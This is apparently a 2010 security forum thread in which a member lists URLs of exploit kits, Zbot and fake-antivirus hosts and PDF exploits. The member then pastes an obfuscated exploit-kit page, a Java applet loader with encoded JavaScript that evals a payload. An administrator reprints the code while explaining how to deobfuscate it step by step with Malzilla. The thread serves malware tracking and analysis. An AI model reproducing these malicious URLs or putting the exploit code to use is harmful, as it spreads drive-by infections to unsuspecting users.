Author Topic: Malicious Domains by Lelenina  (Read 81706 times)

0 Members and 2 Guests are viewing this topic.

November 24, 2010, 04:10:41 pm
Reply #210

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
Code: [Select]
http://listplus.co.cc/news/?acc=189&author=softik&up=4
Exploit kit?

November 25, 2010, 10:50:28 pm
Reply #211

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
Code: [Select]
http://eswhc.co.cc/

Redirects to exploit kit.

December 01, 2010, 10:52:32 pm
Reply #212

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
Code: [Select]
http://109.196.134.28/afi/xp.php?i=8
Zbot
I lost the URL to the actual exploit kit.

December 02, 2010, 12:42:33 am
Reply #213

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
I found it.
Code: [Select]
http://atlantisc.net/afi/iqgmcmjv.php
Exploit kit
Code: [Select]
http://atlantisc.net/afi/xp.php?i=8
or
http://109.196.134.28/afi/xp.php?i=8
Zbot

December 02, 2010, 04:08:24 am
Reply #214

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
Code: [Select]
http://autoseon7.com/nort1/tc.php
Redirects to fake scanner page.

December 02, 2010, 09:20:01 pm
Reply #215

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
Code: [Select]
http://akari.cz.cc/index.php?s=2&u=4cdd70e54ff1c4cdd70e550303&p=2
Exploit kit?

December 03, 2010, 09:24:19 pm
Reply #216

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
Code: [Select]
http://onlytdss.net/in.cgi?4=
Redirects to exploit kit.
Code: [Select]
http://onlinediller22.net/pek/fzdpxpfqfvaqisxrysf9.php
Exploit kit.
Code: [Select]
http://onlinediller22.net/pek/inczxrbphohpa5.pdf
Pdf exploit.
Code: [Select]
http://onlinediller22.net/pek/yr.php?i=8
Fake AV.

December 05, 2010, 08:04:07 am
Reply #217

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
Code: [Select]
http://welescold.tk/?ID=19834
Redirects to exploit kit.

December 09, 2010, 11:00:42 pm
Reply #218

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
Code: [Select]
http://jnermovies.com/us.html
Iframes direct to exploits.
Code: [Select]
http://kojise.info/shop/anbwembretyzxnitju.php
http://onlinediller22.net/pek/fzdpxpfqfvaqisxrysf9.php
http://megaresolve.co.cc/news/index.php?author=try2&pg=196&table=undo
Exploit kits

December 11, 2010, 12:27:59 am
Reply #219

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
Code: [Select]
http://clean-domain.com/redirect.php?a=19776&s=MDctMTFnMg
Redirects to exploit kit
Code: [Select]
http://justdomain.in/dpcsjzi.php
Exploit kit
Code: [Select]
http://justdomain.in/fnb.php?i=8
Trojan

December 11, 2010, 08:34:02 pm
Reply #220

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
Code: [Select]
http://ozone777.com/2/bmauesknauxnyvxzkuyp.php
Exploit kit
Code: [Select]
http://ozone777.com/2/dojtfuatjrgo.pdf
Pdf exploit

December 13, 2010, 12:22:59 am
Reply #221

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
Code: [Select]
http://193.23.126.40/afi/fldwgmcwdof.php
Exploit kit
I tried a different technique to find the payload.
http://jsunpack.jeek.org/dec/go?report=fa9f319921bd0b2486dc2f2aea511117750a1d5e
So with this code, how can I find the payload?  Thanks.
Code: [Select]
<body id='hwdziz2' name='hwdziz2'><applet archive="hsgnivjwerbl1.jar" code="bpac.a.class"><param
name="a" value="RSS=,TTA+*IN*IANOIJETFY;TD?$I=R="/></applet></body>  <textarea>function
hlhtkt(hnxoir5){return hnxoir5.replace(/`/ig,' ').replace(/~/ig,'"').replace(//ig,String.fromCharCode(0x5*2)).replace(//ig,String.fromCharCode(0x2E*2));}document.write(String.fromCharCode(0x3c,112,62)+'1002'+String.fromCharCode(0x3c,112,47,62));var
gsyna=parseInt(hwdziz2.getElementsByTagName(String.fromCharCode(0x38*2))[parseInt(String.fromCharCode(0x18*2))].innerHTML);var
czkpev3='';for (ctxodqa = gsyna; ctxodqa > 0; ctxodqa--){for (hriwklc5 = gsyna-ctxodqa;
hriwklc5 <= bnfzxnh.length; hriwklc5=hriwklc5+gsyna){czkpev3=czkpev3+bnfzxnh.charAt(hriwklc5);}}var
asioivh=czkpev3+"EERS();}}MDAC();";var ezbmfwb=hlhtkt(asioivh);this[String.fromCharCode(0x65,118,0x61,108)](ezbmfwb);</textarea>
 <textarea id='bogpc' name='bogpc'>String.fromCharCode(0x65,118,0x61,108);</textarea><textarea
id='aubqcsx' name='aubqcsx'>var bnfzxnh="dy<h=-0~=%5c%44%00%56%5f%8e%98%08%0f%5e%4e%00%80%05%0c%c5%c0%56%77%60%30%0c%00%03%f0%3c%01%00%8e%56%66%v%33%73s7%26%0=22%66'(utahl5`ea``)are.m(tK{{b.pgi)tttoc`hvi)tf(Mz`a~neOtMu`)4lun`.)=)``;yi`sFi`;e`y~Sreio~`i=m;~amb;.(.=tly`e`io;o4Ntu.={`agne```liuAHfpi(ol)iegpVoorunc.KyPNctg`assr`e}{je8`1`nIMsEpSue~a=`}`nmf`mSiu0*tfjz1fl`oe8e+e`u`heI~enhucblg=;ul0ib`;.){tdec(oeod-w''tMave28t`m`~eeertreTriem{ologn=c}nr)(q=0ta(re}c)dob<r}aEmde.)t=n`'tkiotrA'-EC.=e;e'o9.siv.,(e(cuy-cta'osec(`EF}dns00(otdn=ti'itdci(nSoi'dae'e'>'nlmife<ledddL'rejlbl64s{'A`e'c'f(4210aFE8Ce30337DF90AE9FF97C2C8944D035043887560E877F588F8F8805655F38013F8885705F55C0362370F49108E62637D7244143109BF2C20000900667016667764066646700000000000060m00066026iehvI=v(|',0aa8302722576320,aa8305673366620,aa8302222254220,aa8302255662260,aa8302422224620,aa8302244736660eF}uva;'et)aul)tEr]i=ilvef')|)ri3h`<msTcU}tbh.o1's)10y(`hxn0h)9)p301F504105D2E9000113E965C35BF5454529993A1929EEF3AAE58E4A545F5C0444DA13F1455160B67619A173010174030A222000A0022231DRo>Otc10)'ud0u00u10ue8ue6u8eu59u09u0fuaaueau20u10u06u02u22u30u41u94ue0u10u06u30u21uc4u11u20u02u0bu2eu65uau31u0Dk4uE6u0sFEu48;)nyxil3(`l++{lrmns0y`iveat`d;yihw3lias;yCnfo=r;uMMffnf{52mu>s``;<+}pou.Fs1e.tp`tg{zw`af`[}snes}paf`ee.=wOsr`l,Hhtp`var)g`3s=ozsU(u`s)tS{ncetnuu`nc4nF.jeoy~Sreio~`itIM`=)<ec~PNrXn;sn`2i0`u`1`csrx4oume0)emf.)l`s=70YwC%lcertllt`}no)ns0`n;ve=nu'c)b:Bi+;BLracB0h'ev'cmrsrociyvCe}n.S(=7aec`;)q`chr0([vr;ecd1ictPei(b;B~cs>.'oc(itc13rX`lvc)p3petae2elehn`jotf;roru'=CEcoti-5uc(ot`in;ooyulucWnd3=m=>=`<falecli/en)dcoc`reesaE5ur,S=.)u]d)7363r6676108F4F8CEBB3452C75A0B8A0103680CBB4464B95CE73BF00B382800F3928C4DBD0514C0540A5ED4E4863E373141523C972E9432BC83=000C9006D3941512454DA13F14175D0003912F01e2211C0E9vF.eN'=s|)0,mm2700265F842000mm270F9456DB1000mm2700383AE0AA10mm270999E8707700mm27090AA8B76000mm270956729F360pL}natp,(t;mmd{VS`+fltv.I`b;|{yf1vi=geIhIfrj.Gn0Wv|,,;'Si1ox);9{`0001600007B800F80060066407447667723676657366676646666666046456647646676660110000000000020000003D6DDD430400200006FSc<B=l10;%90%08%50%5c%0c%00%4f%50%80%09%89%06%ce%e0%e0%d8%55%07%47%66%7f%a0%ba%51%05%00%81%00%fc%25%66%2r73%62%d%33%73k3%32%f{c.Aso5h:```t;apegx.=fo)sy=(}poi``esi.}pUuCE=g}mfz)Ccuv6``m>u+(w``;ennvF.6mNae|r.se`+``utitcmteuruf`cf`fL.`ie`(i3rfarg{t=2i=cehTan=.;yktgt(y`nn(t4(eufIMup`tg{zw`afhc`b`;`wL)jeoqcitc4;f)ss10zB`n68tnp`0``u`l{l(~`c;bfiul3lniochuhcc{atxie}aE'dmdu;j0Cd'dy``rtF-=>=a`teHioltm{ehCi`Qt0=6tltqv;.u0<`,iiaebfuy0bauEnv'ody<lt<g)nu'btl16eMplat;e.hnerx))l)(c{ampii.f'mO`7Dac(d0F)u'c('m;nno.md)hF``0'`'<'v/rmoDaagovt.c)wloCcnts-5be`H`i!m;a{436F`4301=002DA37A26F86EFE1C3C47276C853850028850E1B4ED578CC55FF55C65538444F302C510E27767F3D64F2713F04C8B45533A2DE199'0000A00666466066066466766610000000000D00304026046el9r`W=v(|'1eeA906655273330,eeA502773327770,eeA506222227220,eeA502254626270,eeA505722254260,eeA902254636660lAccre.`'rpee(tecf))v([jn(l}(St`)hf9r{M`CuyeSe',In|01v%Cl0p1;f5m+9085E0110D7000F600C00455D0385EF24E0E35833AAE4428455E525255E4F9242945342955AA8FC819981932020311006000700FB052229CL(udJ0sC>vuc0ucbu70uf2u02u06u5fu00u92u15u05u1eu6aua0ua0u01uf8u04uc2u59u59ud0uddu0bu01u30u9bu00ufeue5uc4ue`09u9Eu2u26u02dAu0Fuuvtfl.c)e`=t2h}ytw)bf``i)i.`M;ens~sn.lv;eXmUF`ur`Co`U.na7=&`>b`whwve.(eaFv)pHgo|ili`~`m(nafre[rlsgnuttufuEz(+a~2s2ourg`sh``z`a`e3rc`z}pvh`o).=ttv;(awvuc`ne|r.se`+``rLby(fcfE;IMtltfre`}`{it62nP1`8;yce=8!ss1etcs)ue`Iug0c(l`oc)`ne(kblr2`w}rlsCeimve28t>oI=t``2D~'~l+>nTol`(ecXehf=ur,77csiqavlncztz=]radam);utsEt'idoIbiy/e.`moursD'aL..r(tn2pd(`e;`e`etvr:/fat)eB'-Ctu'`44;mOu'aed./lae(;((L=0Bnf/aapyewotshb`.i){eabatgrsA3stvS(n=emtt7266r7637'A001D24D1024D63DF91252B500BECBF374BB27CF39C08E3E103FF0505003D666FC3B60408F906C4AC454DD9EE46D7D903DF707005400000F00C58DE9649CE9453429562970021AA2031=270E90DEXa's9I'=s|)112F00AFEEA65140112F000423405300212F00B5958AE660412F009645704030412F00FE889F6070612F00BB46F86180aSat`Esfwi.bnprrri,[.'0otljesHb()s(3csE(Kn{cht)0N=('5au=e0=0mo<e`60006000F162200000600067666676707631742764646662667776674764566767667166100100000010011000000

December 13, 2010, 02:35:44 am
Reply #222

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
I had to exploit myself to get this.
Code: [Select]
http://193.23.126.40/afi/dz7.php?i=8
Trojan
I do not see dz7 in the code anywhere.
:(

December 13, 2010, 09:28:02 pm
Reply #223

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335

I tried a different technique to find the payload.
http://jsunpack.jeek.org/dec/go?report=fa9f319921bd0b2486dc2f2aea511117750a1d5e
So with this code, how can I find the payload?  Thanks.


You have to deobfuscate the code first. I use Malzilla to do that. Malzilla requires that we modify the code a bit.

1.) Let's start at the end. Everything behind the last " can be deleted. So replace
Code: [Select]
</textarea><script>document.write('<font>eval</font>');this[document.getElementsByTagName('font')[0].innerHTML](document.getElementById('aubqcsx').value);this[eval(document.getElementById('bogpc').value)](document.getElementsByTagName('textarea')[0].value);</script>by semicolon.

2.) Continue at the beginning. Delete everything before the first textarea tag. That means deleting this code
Code: [Select]
<body id='hwdziz2' name='hwdziz2'><applet archive="hsgnivjwerbl1.jar" code="bpac.a.class"><param name="a" value="RSS=,TTA+*IN*IANOIJETFY;TD?$I=R="/></applet></body>
<textarea>

3.) Cut the code from the beginning (function) to the closing textarea tag. Now paste this code at the end of the script.
Code: [Select]
function hlhtkt(hnxoir5){return hnxoir5.replace(/`/ig,' ').replace(/~/ig,'"').replace(/»/ig,String.fromCharCode(0x5*2)).replace(/•/ig,String.fromCharCode(0x2E*2));}document.write(String.fromCharCode(0x3c,112,62)+'1002'+String.fromCharCode(0x3c,112,47,62));var gsyna=parseInt(hwdziz2.getElementsByTagName(String.fromCharCode(0x38*2))[parseInt(String.fromCharCode(0x18*2))].innerHTML);var czkpev3='';for (ctxodqa = gsyna; ctxodqa > 0; ctxodqa--){for (hriwklc5 = gsyna-ctxodqa; hriwklc5 <= bnfzxnh.length; hriwklc5=hriwklc5+gsyna){czkpev3=czkpev3+bnfzxnh.charAt(hriwklc5);}}var asioivh=czkpev3+"EERS();}}MDAC();";var ezbmfwb=hlhtkt(asioivh);this[String.fromCharCode(0x65,118,0x61,108)](ezbmfwb);
4.) Goto start of the script. Delete everything from the start of the script to "var "
Code: [Select]
</textarea>

<textarea id='bogpc' name='bogpc'>String.fromCharCode(0x65,118,0x61,108);</textarea><textarea id='aubqcsx' name='aubqcsx'>

5.) Now go back to the code that we pasted at the end of the script. There is "document.write" instruction. In the mid of the instructions is a number.
     In your example it's 1002. Keep that number and delete the complete document.write instruction.

6.) Now go to the next instruction. In your example it is
Code: [Select]
gsyna=parseInt(hwdziz2.getElementsByTagName(String.fromCharCode(0x38*2))[parseInt(String.fromCharCode(0x18*2))].innerHTML)replace right the expression of this instruction by the number your kept from the previous instruction. That means
Code: [Select]
gsyna=1002
7.) If you did all previous steps correctly, your code should look like this.
Code: [Select]
var bnfzxnh="dy<h=-0~=%5c%44%00%56%5f%8e%98%08%0f%5e%4e%00%80%05%0c%c5%c0%56%77%60%30%0c%00%03%f0%3c%01%00%8e%56%66%v%33%73s7%26%0=22%66'(utahl5`ea``)are.m(tK{{b.pgi)tttoc`hvi)tf(Mz`a~neOtMu`)4lun`.)=)``;yi`sFi`;e`y~Sreio~`i=m;~amb;.(.=tly`e`io;o4Ntu.={`agne```liuAHfpi(ol)iegpVoorunc.KyPNctg`assr`e}{je8`1`nIMsEpSue~a=`}`nmf`mSiu0*tfjz1fl`oe8e+e`u`heI~enhucblg=;ul0ib`;.){tdec(oeod-w''tMave28t`m`~eeertreTriem{ologn=c}nr)(q=0ta(re}c)dob<r}aEmde.)t=n`'tkiotrA'-EC.=e;e'o9.siv.,(e(cuy-cta'osec(`EF}dns00(otdn=ti'itdci(nSoi'dae'e'>'nlmife<ledddL'rejlbl64s{'A`e'c'f(4210aFE8Ce30337DF90AE9FF97C2C8944D035043887560E877F588F8F8805655F38013F8885705F55C0362370F49108E62637D7244143109BF2C20000900667016667764066646700000000000060m00066026iehvI=v(|',0aa8302722576320,aa8305673366620,aa8302222254220,aa8302255662260,aa8302422224620,aa8302244736660eF}uva;'et)aul)tEr]i=ilvef')|)ri3h`<msTcU}tbh.o1's)10y(`hxn0h)9)p301F504105D2E9000113E965C35BF5454529993A1929EEF3AAE58E4A545F5C0444DA13F1455160B67619A173010174030A222000A0022231DRo>Otc10)'ud0u00u10ue8ue6u8eu59u09u0fuaaueau20u10u06u02u22u30u41u94ue0u10u06u30u21uc4u11u20u02u0bu2eu65uau31u0Dk4uE6u0sFEu48;)nyxil3(`l++{lrmns0y`iveat`d;yihw3lias;yCnfo=r;uMMffnf{52mu>s``;<+}pou.Fs1e.tp`tg{zw`af`[}snes}paf`ee.=wOsr`l,Hhtp`var)g`3s=ozsU(u`s)tS{ncetnuu`nc4nF.jeoy~Sreio~`itIM`=)<ec~PNrXn;sn`2i0`u`1`csrx4oume0)emf.)l`s=70YwC%lcertllt`}no)ns0`n;ve=nu'c)b:Bi+;BLracB0h'ev'cmrsrociyvCe}n.S(=7aec`;)q`chr0([vr;ecd1ictPei(b;B~cs>.'oc(itc13rX`lvc)p3petae2elehn`jotf;roru'=CEcoti-5uc(ot`in;ooyulucWnd3=m=>=`<falecli/en)dcoc`reesaE5ur,S=.)u]d)7363r6676108F4F8CEBB3452C75A0B8A0103680CBB4464B95CE73BF00B382800F3928C4DBD0514C0540A5ED4E4863E373141523C972E9432BC83=000C9006D3941512454DA13F14175D0003912F01e2211C0E9vF.eN'=s|)0,mm2700265F842000mm270F9456DB1000mm2700383AE0AA10mm270999E8707700mm27090AA8B76000mm270956729F360pL}natp,(t;mmd{VS`+fltv.I`b;|{yf1vi=geIhIfrj.Gn0Wv|,,;'Si1ox);9{`0001600007B800F80060066407447667723676657366676646666666046456647646676660110000000000020000003D6DDD430400200006FSc<B=l10;%90%08%50%5c%0c%00%4f%50%80%09%89%06%ce%e0%e0%d8%55%07%47%66%7f%a0%ba%51%05%00%81%00%fc%25%66%2r73%62%d%33%73k3%32%f{c.Aso5h:```t;apegx.=fo)sy=(}poi``esi.}pUuCE=g}mfz)Ccuv6``m>u+(w``;ennvF.6mNae|r.se`+``utitcmteuruf`cf`fL.`ie`(i3rfarg{t=2i=cehTan=.;yktgt(y`nn(t4(eufIMup`tg{zw`afhc`b`;`wL)jeoqcitc4;f)ss10zB`n68tnp`0``u`l{l(~`c;bfiul3lniochuhcc{atxie}aE'dmdu;j0Cd'dy``rtF-=>=a`teHioltm{ehCi`Qt0=6tltqv;.u0<`,iiaebfuy0bauEnv'ody<lt<g)nu'btl16eMplat;e.hnerx))l)(c{ampii.f'mO`7Dac(d0F)u'c('m;nno.md)hF``0'`'<'v/rmoDaagovt.c)wloCcnts-5be`H`i!m;a{436F`4301=002DA37A26F86EFE1C3C47276C853850028850E1B4ED578CC55FF55C65538444F302C510E27767F3D64F2713F04C8B45533A2DE199'0000A00666466066066466766610000000000D00304026046el9r`W=v(|'1eeA906655273330,eeA502773327770,eeA506222227220,eeA502254626270,eeA505722254260,eeA902254636660lAccre.`'rpee(tecf))v([jn(l}(St`)hf9r{M`CuyeSe',In|01v%Cl0p1;f5m+9085E0110D7000F600C00455D0385EF24E0E35833AAE4428455E525255E4F9242945342955AA8FC819981932020311006000700FB052229CL(udJ0sC>vuc0ucbu70uf2u02u06u5fu00u92u15u05u1eu6aua0ua0u01uf8u04uc2u59u59ud0uddu0bu01u30u9bu00ufeue5uc4ue`09u9Eu2u26u02dAu0Fuuvtfl.c)e`=t2h}ytw)bf``i)i.`M;ens~sn.lv;eXmUF`ur`Co`U.na7=&`>b`whwve.(eaFv)pHgo|ili`~`m(nafre[rlsgnuttufuEz(+a~2s2ourg`sh``z`a`e3rc`z}pvh`o).=ttv;(awvuc`ne|r.se`+``rLby(fcfE;IMtltfre`}`{it62nP1`8;yce=8!ss1etcs)ue`Iug0c(l`oc)`ne(kblr2`w}rlsCeimve28t>oI=t``2D~'~l+>nTol`(ecXehf=ur,77csiqavlncztz=]radam);utsEt'idoIbiy/e.`moursD'aL..r(tn2pd(`e;`e`etvr•:/fat)eB'-Ctu'`44;mOu'aed./lae(;((L=0Bnf/aapyewotshb`.i){eabatgrsA3stvS(n=emtt7266r7637'A001D24D1024D63DF91252B500BECBF374BB27CF39C08E3E103FF0505003D666FC3B60408F906C4AC454DD9EE46D7D903DF707005400000F00C58DE9649CE9453429562970021AA2031=270E90DEXa's9I'=s|)112F00AFEEA65140112F000423405300212F00B5958AE660412F009645704030412F00FE889F6070612F00BB46F86180aSat`Esfwi.bnprrri,[.'0otljesHb()s(3csE(Kn{cht)0N=('5au=e0=0mo<e`60006000F1622000006000676666767076317427646466626677766747645667676671661001000000100110000000430666050100800006A)miE`iF<a55%44%45%e0%00%80%3c%c5%c5%05%56%5f%8e%98%08%0f%55%00%46%67%fa%b6%b8%00%50%ee%00%00%5f%54%66%06s7%26%0=22%66%+%23%6naiulm`;a0`h`it(yf{auf(d;nffae.(.Rt`vaae.M,XT0me+UE*Xpcr8``>`sviiiamnnsl,a`t`)f`nez&Asutdg`iot(sh-cnhGnunAgv+uo5.~tn``ii*a|e3t+d2g.fg;euitr;f`)`a`arfknL=to|ili`~`m(oEltcoouG}c~oCi`io+e(tz`~4sE0t8}ptc`)=it6nhoi;nbiCnt0o(chnk;<ea0.lsi1<ff`ethnveacB0h'cd`aoc530+_u`'tMn`=''oOce``ii36)heo`raee'/u/0``tyue;`tc+R.)dycduclbtoMebtii0)tHCA`'r(3?(qt's{x{)ia`•/d`p`{nJc0BcmO=49}eBmOp-etjkpnn}u)O`'rarpllao=Smihtj(gn;irsjs`t(iE5tuiPnd-noar0E99eAEF3400BFA88F61470458821A90F9864CC72FC200A8C71E7EEFE806FF552B33FC50007FEE0580C2266B33BF370D3EDD072E45536BC7871A00000200662666667677667166000000000004340'00046066Os)i,NW=v()5++B'7622226673'6++B'4672336766'8++B'7252522255'5++B'2554256767'7++B'5222552466'4++B'7545432276'cHtiplenibsot)ysif/1m.]i(vulvOn({a(4re(eTcstoV;,`=s)9r0u(0n0er0mS0F0B5000F6E6869602C00CE66CC13575030703E0845595AE93642145365F5312139346AE10D245D357619DF90005007090000D337512220CS;evCwd-/r35u00u06uf0u01ua0u22u22u22u5eue8ue6u8eu59u09u0fuadu00u14uf2u2eu56u5du30u60ub0u30u00u6fu5eu19u08k4uE6u0sFEu48u'uE4u9cronoa?tpx~i<sh).uvbnue(}(uutmnlver+ablmUo`Mj)et`XF`Mrt`9d0`4tadldlpeec2`l&y={`agne`lilhe](nfa0e(6.ciacncUOa)tl6N)ocs=nz2r|`2i```,puOe.Nsh~tuf{?rirgupcE`)f`nez&AsuswGoeorunbtL)tfo(nf`l(heb;)PN0h`;eix(;`z`~grdz}e~`icO2dsoY``w`spxlopn)`uudmbit'nrtF-=+u(orblD4~'Me';BL`=`Q)nbkc(pcn)6)({n=`rns)2`2;=be.lntieh=Sc;'.u(tkeuEnDnjebd-;eTrpsay'.i).`;.HeJ`or-s/z(pIttEl0AheB`E9}nJeBpspyaipt)c);A~`imyalurh'cao'=eien}fCsPe'h0d64rrdRae1tv)y3323=6266600F51C8D367D4EBAD72A132E14033C0518C3D3396DCBBFE3C8FF500002F0E8445F017019DFE8C62E6EE476E05F052BD78DEF7ECEB8800000101CEF5E6406439346AE7747200113B70F92200DE015bh.o0`I'=s{,''F+3864A9E781;,''F+0A204829A1;,''F+AAE6E861EE;,''F+3FEA5AA578;,''F+EB19EF98B6;,''F+EFA2E90036;e(co`et)duer.;{ip=;]a')nl=ys=WjlSsl)dt))Itv(cai11'v|,`8nn0o0m(xoC0A00206FFD576710B050067666666767363666672667776677640637467556666777646611110001000010000000000DA0000000D0400000H}n`Ti:AO`5%e0%e8%b0%00%0c%30%08%08%56%0c%0c%00%4f%50%80%09%00%66%07%78%b0%70%1a%0a%a4%90%00%80%bc%46%76%d%33%73k3%32%9%33%33t`nccx`hB1As`.i;fnoecnnMe0nnhpeeaqi`ll.pbvUoV{nu(MTUooidAix0;rltet2twwa(42`.`var)g`0lztif`tg`g,{t)ptsr.c(T(r{3e,H;tti=se`g`=7o~oc`rn(mqd.e)hnuv``+g,n(.Gf{`agne`lili(bcsu`ncchE;ykntg`assr`e}{je8i+e.o,si0eb;toeevs)<g2P8eidbP=h0c`2ecrg;3nn=e'l.)t``2D~'m'bgja58`<a=/dy`=`nu;tjOkcakg)){eF``m`gc;)=)``dEattr+(('(rg,am't==tlcAte(u:9tOTep`d{G1=;r=sCCcA{n`Jm17wNnr.Cs0'`nJ'-DetEnJlclpvte.;a;}D<hdeoroeavBrin`'cdtef(aio();,=D0(n)Avx`)i;{A1FD/5F285A00271E42B2BAADBA920BAE2E8086003C74C5C8070800F3CB75F18863C76058535E845C0F667638F76C7ECEBA444C90543A3084F4120000300066775747677776466110000000D00D02000066660j.Gn,9NW=vi058Ft6622256337}05CFt2626337662}058Ft6225222722}055Ft2224546676}055Ft2542225466}055Ft4244466776}()hn=mA;tttdb}vot/l.t);(v=ne=P3vHev)rT;{Min'krf20Wn|0n0eo/p0oa1r;4000010FFA127E06F0F10645C19E52E4AF66CC42E932325434546CA4C5270BC17034945567AA97EC7619A177000136000BBB081002122200(}ti`dC2Bf0ud3ubduf1u00u02u24u11u01u2au02u02u06u5fu00u92u15u00ud8u02u89ue3u03ubdu0du63u62u00u90ub3u4fu05u1u26u08dAu0Fu0u13u7Fis``,Amia5A.tvstuci,.caalxcc.twnlun~.estOtbvDttrUojbvtoiBgFxv(2h`h;yffpn)(0ffarg{t=xoeisi=y~S]`th/ri.bpt~3~`t2a`(}yiz`t`+;s=6n`uatoctpUTn`;icnaci+)`c~pbuvar)g`0lztz~ck~n(t4liG}pD(y~Sreio~`itIM`s`mhn`if)`e}hw`-ac;`t(`%`zeIr`ixa=0nka(f5ccdn;dc;.oc530<esj``s-8h'r~>oI=`nei}reb'orT(;`t)LMueztaw``;ityld#.y+'e')eg'pefo''telC.c'tB8rbPal=osE21se`.lPuVJ`u•b9.iatycTi0;(tEc19l.CtEiroea'nbtt}SFoeg=haw=myrin/w3t,Eruesds)`r`~-0o`;YiO?[e}v23636673/700151A93C4821C420E7D45A9CBCB0533A5B504EAEFB22FA1875FCD9530564050C5BB4040E4301937EC8CBC06B046C277AD04ADD8B'00000100C94674264C303494556676E0034090047220015E90eSe'1,`I'=f'96Fh56A36F2556i'E6Fh380F663780i'D6FhAA3E595EA4i'A6Fh49A8EA860Ai'A6Fh6F08ABF7A7i'E6Fh08957A4978fr;(``etpheAeofan=Avsc;l'f7x`7D.>Olf{ci'sEo=Swi`,,I=('o8sp2./rs2y}0000300FF4748800016006766776514726266666677176667166462746041666067176670001000000010000000000044666020430A00004)c.ditA4Jd%08%70%5e%80%80%f1%05%96%80%00%00%80%3c%c5%c5%05%50%06%64%74%2c%88%08%a0%cf%2f%a0%00%53%44%47%6=22%66%+%23%6072%67%ohe=`lass0Avha.hn`d`ptbtsb.tayf).eg,l~uyMfOtrh`nbvVOtongCi,Fan;`()}.uuee`(xuurg`sh`fc`p.n`p`t.ahi2oomariF2oih~u~3}poe~a=`}i`8`ctcattatr`egCs.cro`);~4zrcnarg{t=xoeieMl`)tv;(zsb;eDap`tg{zw`afhc`b.(pY(sz`{~`i*(l1raf1Oj+u+e.Ceul2p`0g`y2o04totd(reablD4~/nt;==s8Ae`s''cd`nuwccocj)nsi1}|r{AAn``hph{nd<u`edua{)s);{a.fpn'nMdomi(ctieD3yj'ti`d.T65.s'So(tAAJ`••3pnme`r'd-oe.Cl13scT.Cciy`-;dorc}WLbie'vmS'>oip'xi5>`lHnde'`.+eoc10be}(gf`'.faF2478E3Di50401C6080289EF31A099FCA6048487DC0E88504ED7EEE7F106038545C53B5FCFF10F85E0F7637B2726694053CBB07A151A8BBEBBA;000000014666566706067176670000000003F040F00366066'cht)109NW=()92Fe6722227673f)82Fe5666376666f)12Fe7222555222f)62Fe2524266256f)62Fe5222552476f)A2Fe2244566673de}eSdnt.'(trdurs(cfphsv'.1qi)Fp=W.>Szm,e(nnhaa(30N=s)p%c.)s2ys0[f0000100FF92700016CD00C3E190451C2FDFC1999434F01390CE9FC049EAE45C7F101693211E3A1F73A98173311100009F6662C2701222200;aw=dh8DEau03u08ueeu91u91ubcu02u5au10u01u01ua0u22u22u22u5eua0u05u21u35u90u5bu25ud0u63u76ud0u00ueeuccu15u8sFEu48u'uE4u904Fu1Aunem`hlx.e0Aailmic=(mrilheapic.u{ls``e;b.z`Mferc`OtDMft(iDt`)lu}?v{rfnn(w+nFnn``ii*a)a+lmene|rpris)tnegool`l`i)to2;en;sn`2iz2)sa`hgoigyc=wao.pt`u={tz(Volcrg`sh`fc`p+azs;`a`aU.ce.Cre|r.se`+``rLbyh(tbsie(t`af2~e3`po2Pm=0`-lipne0en0t+`,r;(ic(ode.pja58`'tbP``iCBi+h`+u(oul`kalte;tem6i|yFSKe==*ei`ue2`=mBspf{'{}vts'et)`Ainec)r'd(9A{e,ecpbt'.'op.as)eSVA=••.hder{e):0.)cTsD'er'cTapm=ddCdyh}FAjgMmy>cs<adt`-d5~eeTcc()=i`tbl10jdf)a(wBsur23727633;3030332B89E868113D28370C500B0B8D0D2B928E88ECBB5E819439D5000083F0FF02CD000FAEF37DDDBB096B90E20072724261E0BCv00001000DE99F91261F10169321A4B7001108092'22FE905E;toV;5,,`I's{B70sF7658888A5({B70sE1A2836664({D70s365AEFE485({E70s6F875870B8({E70sEB499FAB36({A70s39F5986B45a,e)Hotrs,'t'yn`([r=l(v=)j0af)(d8Pp=Hge4t)`eovb(6,`'v)`ual{u`=80ad0040063FF35200001860260770067666226677776746667766776206474056004764677010100010000000200000000000010100D0300000}tr'==A-Ct5e%78%8b%d5%f0%38%80%0f%0e%e0%00%0c%30%08%08%56%05%00%46%47%ff%00%01%1a%88%58%1c%00%e5%44%56%77k3%32%9%33%33'6%32%3`lpfeoAh`0~ls`es.`Msooe.{broofnietlon}sfo=z)MoapMfrz;yntEs1{2mv`aveucc~f`eFccs=nz2r`t`eedeo|iugs.)o(metnuce=s;3l7e.(itc4;fe5{inoe)to).P`frlxricn`thVantzt``ii*a)a+l8xUi}?rirUKlmNYgo|ili`~`m(oEltesyIhz`(h+```Mn8her4`p`0h1egae(0(e0h==`(`fou'c)aip`s-8h+.'r3'd1Dg`a+'m'bllATt`(c}rIe)f`{LHEs``2(ln.l7+`eeepob,}faee)n..iKs>nk{e)''6-vc'Oa..y,4,po/ve;(MAV`•t2po`nva;C0l{r'i1;{e)r'tte`eohy``c(Sehooo<raesgAtst';dmMt`)``n'ujsc~Pcu{t'iren`F6A64D12v0000C6AB1D4379D6ACE6B2AD8037360E90854E80FE8E06F4E665C443655F0677753E37F0FF6266B0D3BB332BBC4FA13145E18D108Da0000000066766666474764677010000000046004;00166475s(cai,109NWvf490a6622226377sfC50a2667366777sfE50a2522222225sf150a5224226766sf150a2225552666sfE90a2544526673tll{Oc(ie`hr,.cl)^olif=p)o)v`&'f0Dd9O.o0T;Fwcels'29Wn{=0penb-n9;sa00300FEFF1CE41002C3031A439CC0D91FF2190349036C343C643204F34D8949854C9534665A4B60179419106113201108CF12BA001022210ecijP094Ta28u8bubeu6euf0u50u92u2fu1aua0u00u02u24u11u01u2au0eu00uc9u13u7du23u2fubbu59ue5uf6u00u8fuc4u45u20dAu0Fu0u13u7F;8